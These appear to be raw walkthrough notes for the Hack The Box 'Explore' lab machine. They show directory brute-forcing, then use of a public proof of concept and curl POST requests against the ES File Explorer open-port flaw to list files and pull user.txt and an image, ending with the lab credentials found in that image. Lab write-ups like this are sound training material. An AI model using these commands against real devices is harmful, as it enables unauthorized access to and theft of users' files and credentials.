2 :59777 es file explorer

http://explore.htb:59777/
FORBIDDEN: No directory listing.

$ gobuster dir -u http://10.10.10.247:59777 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x -t 80
===============================================================
/product              (Status: 301) [Size: 71] [--> /product/]
/data                 (Status: 301) [Size: 65] [--> /data/]
/d                    (Status: 301) [Size: 59] [--> /d/]
/storage              (Status: 301) [Size: 71] [--> /storage/]
/bin                  (Status: 301) [Size: 63] [--> /bin/]
/system               (Status: 301) [Size: 69] [--> /system/]
/lib                  (Status: 301) [Size: 63] [--> /lib/]
/dev                  (Status: 301) [Size: 63] [--> /dev/]
/cache                (Status: 301) [Size: 67] [--> /cache/]
/etc                  (Status: 301) [Size: 63] [--> /etc/]

/config               (Status: 301) [Size: 69] [--> /config/]
/oem                  (Status: 301) [Size: 63] [--> /oem/]
/sys                  (Status: 301) [Size: 63] [--> /sys/]
/sdcard

# all show the same message
FORBIDDEN: No directory listing.

| https://portswigger.net/daily-swig/android-file-manager-app-exposing-user-data-through-open-port
Using https://github.com/fs0c131y/ESFileExplorerOpenPortVuln

$ python poc.py --cmd getDeviceInfo --host explore.htb
[*] Executing command: getDeviceInfo on explore.htb
[*] Server responded with: 200
{"name":"VMware Virtual Platform", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listFiles --host explore.htb
[*] Executing command: listFiles on explore.htb
[*] Server responded with: 200
[
{"name":"lib", "time":"3/25/20 05:12:02 AM", "type":"folder", "size":"12.00 KB (12,288 Bytes)", },
{"name":"vndservice_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"65.00 Bytes (65 Bytes)", },
{"name":"vendor_service_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_seapp_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_property_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"392.00 Bytes (392 Bytes)", },
{"name":"vendor_hwservice_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_file_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"6.92 KB (7,081 Bytes)", },
{"name":"vendor", "time":"3/25/20 12:12:33 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"ueventd.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"5.00 KB (5,122 Bytes)", },
{"name":"ueventd.android_x86_64.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"464.00 Bytes (464 Bytes)", },
{"name":"system", "time":"3/25/20 12:12:31 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"sys", "time":"9/17/21 11:17:48 PM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"storage", "time":"9/17/21 11:17:58 PM", "type":"folder", "size":"80.00 Bytes (80 Bytes)", },
{"name":"sepolicy", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"357.18 KB (365,756 Bytes)", },
{"name":"sdcard", "time":"4/21/21 02:12:29 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"sbin", "time":"9/17/21 11:17:48 PM", "type":"folder", "size":"140.00 Bytes (140 Bytes)", },
{"name":"product", "time":"3/24/20 11:39:17 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"proc", "time":"9/17/21 11:17:47 PM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"plat_service_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"13.73 KB (14,057 Bytes)", },
{"name":"plat_seapp_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"1.28 KB (1,315 Bytes)", },
{"name":"plat_property_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"6.53 KB (6,687 Bytes)", },
{"name":"plat_hwservice_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"7.04 KB (7,212 Bytes)", },
{"name":"plat_file_contexts", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"23.30 KB (23,863 Bytes)", },
{"name":"oem", "time":"9/17/21 11:17:48 PM", "type":"folder", "size":"40.00 Bytes (40 Bytes)", },
{"name":"odm", "time":"9/17/21 11:17:48 PM", "type":"folder", "size":"220.00 Bytes (220 Bytes)", },
{"name":"mnt", "time":"9/17/21 11:17:49 PM", "type":"folder", "size":"240.00 Bytes (240 Bytes)", },
{"name":"init.zygote64_32.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"875.00 Bytes (875 Bytes)", },
{"name":"init.zygote32.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"511.00 Bytes (511 Bytes)", },
{"name":"init.usb.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"5.51 KB (5,646 Bytes)", },
{"name":"init.usb.configfs.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"7.51 KB (7,690 Bytes)", },
{"name":"init.superuser.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"582.00 Bytes (582 Bytes)", },
{"name":"init.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"29.00 KB (29,697 Bytes)", },
{"name":"init.environ.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"1.04 KB (1,064 Bytes)", },
{"name":"init.android_x86_64.rc", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"3.36 KB (3,439 Bytes)", },
{"name":"init", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"2.29 MB (2,401,264 Bytes)", },
{"name":"fstab.android_x86_64", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"753.00 Bytes (753 Bytes)", },
{"name":"etc", "time":"3/25/20 03:41:52 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"dev", "time":"9/17/21 11:17:50 PM", "type":"folder", "size":"2.64 KB (2,700 Bytes)", },
{"name":"default.prop", "time":"9/17/21 11:17:48 PM", "type":"file", "size":"1.09 KB (1,118 Bytes)", },
{"name":"data", "time":"3/15/21 04:49:09 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"d", "time":"9/17/21 11:17:47 PM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"config", "time":"9/17/21 11:17:49 PM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"charger", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"cache", "time":"9/17/21 11:17:49 PM", "type":"folder", "size":"120.00 Bytes (120 Bytes)", },
{"name":"bugreports", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"bin", "time":"3/25/20 12:26:22 AM", "type":"folder", "size":"8.00 KB (8,192 Bytes)", },
{"name":"acct", "time":"9/17/21 11:17:48 PM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }
]

# cant use to list files in a folder
# manually

$ curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://10.10.10.247:59777/sdcard
[
{"name":"Android", "time":"3/13/21 05:16:50 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":".estrongs", "time":"3/13/21 05:30:39 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Download", "time":"3/13/21 05:37:03 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"dianxinos", "time":"4/21/21 02:12:29 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Notifications", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"DCIM", "time":"4/21/21 02:38:16 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Alarms", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Podcasts", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Pictures", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":".userReturn", "time":"9/17/21 11:18:22 PM", "type":"file", "size":"72.00 Bytes (72 Bytes)", },
{"name":"user.txt", "time":"3/13/21 06:28:55 PM", "type":"file", "size":"33.00 Bytes (33 Bytes)", },
{"name":"Movies", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Music", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"backups", "time":"3/13/21 05:30:13 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"Ringtones", "time":"3/13/21 05:16:51 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }


$ python poc.py --get-file /sdcard/user.txt --host explore.htb
[*] Getting file: /sdcard/user.txt
        from: explore.htb
[*] Server responded with: 200
[*] Writing to file: user.txt


# seeing other sutff on android device

$ python poc.py --cmd listPics --host explore.htb sdcard
[*] Executing command: listPics on explore.htb
[*] Server responded with: 200

{"name":"concept.jpg", "time":"4/21/21 02:38:08 AM", "location":"/storage/emulated/0/DCIM/concept.jpg", "size":"135.33 KB (138,573 Bytes)", },
{"name":"anc.png", "time":"4/21/21 02:37:50 AM", "location":"/storage/emulated/0/DCIM/anc.png", "size":"6.24 KB (6,392 Bytes)", },
{"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "location":"/storage/emulated/0/DCIM/creds.jpg", "size":"1.14 MB (1,200,401 Bytes)", },
{"name":"224_anc.png", "time":"4/21/21 02:37:21 AM", "location":"/storage/emulated/0/DCIM/224_anc.png", "size":"124.88 KB (127,876 Bytes)"}

$ python poc.py --get-file /storage/emulated/0/DCIM/creds.jpg --host explore.htb sdcard
[*] Getting file: /storage/emulated/0/DCIM/creds.jpg
        from: explore.htb
[*] Server responded with: 200
[*] Writing to file: creds.jpg

# its an image containing credentials
kristi:Kr1sT!5h@Rp3xPl0r3!